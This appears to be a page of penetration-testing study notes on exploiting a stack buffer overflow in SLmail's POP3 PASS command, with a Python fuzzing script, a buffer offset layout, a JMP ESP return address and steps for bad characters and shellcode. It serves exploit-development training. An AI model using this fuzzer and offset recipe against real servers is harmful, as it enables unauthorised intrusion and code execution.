Edit

Windows

Related

General

Links, exploits

Example: SLmail

  1. Check approx. buffer length by sending A's in steps of 200s or so

#!/usr/bin/python
import socket

# Create an array of buffers, from 1 to 5900, with increments of 200.
buffer=["A"]
counter=100
while len(buffer) <= 30:
	buffer.append("A"*counter)
	counter=counter+200

for string in buffer:
	print "Fuzzing PASS with %s bytes" % len(string)
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect(('<ip>',110))
	s.recv(1024)
	s.send('USER test\r\n')
	s.recv(1024)
	s.send('PASS ' + string + '\r\n')
	s.send('QUIT\r\n')
	s.close()

  1. Check exact buffer length Create unique buffer with the last working length (2700)

Alternative:

Immunity Debugger Register view with EIP address

Alternative:

-> buffer = "A"*2606 + "B"*4 + "C"*90

  1. Increase buffer Shellcode needs around 350-400 bytes

-> Verify, the app crashes in a similar way and check the length of D's

Target: EIP -> B's, ESP -> D's (or ECX?)

TODO: Write this in a nicer way, like:

  1. Identify bad chars

  1. Find a JMP ESP instruction

-> look for a module without any BO-protections in place (like DEP or ASLR)

Find the JMP ESP instruction in the module

-> choose a match, that does not contain bad chars

Reverse the bytes (due to little endianess) -> \x8f\x35\x4a\x5f

  1. Generate shell code

  1. Put it all together

Additional stuff and improvements

Locating space for shellcode

Need about 350-400bytes -> increase buffer (if needed)

Find opcode

-> FFE4

Improving the exploit

Using EXITFUNC=thread to only crash the affected thread

Troubleshooting

  • Run Immunity Debugger as Administrator

  • Restart Immunity Debugger after each "crash"

  • Don't forget to hit "Run" (attach puts it in Paused state)

  • Always attach Immunity Debugger, as somehow SLMail did not crash (first stage, finding the approx. buffer length) without it 0_o

  • No bad chars in JMP ESP address

PreviousLinuxNextMisc

Last updated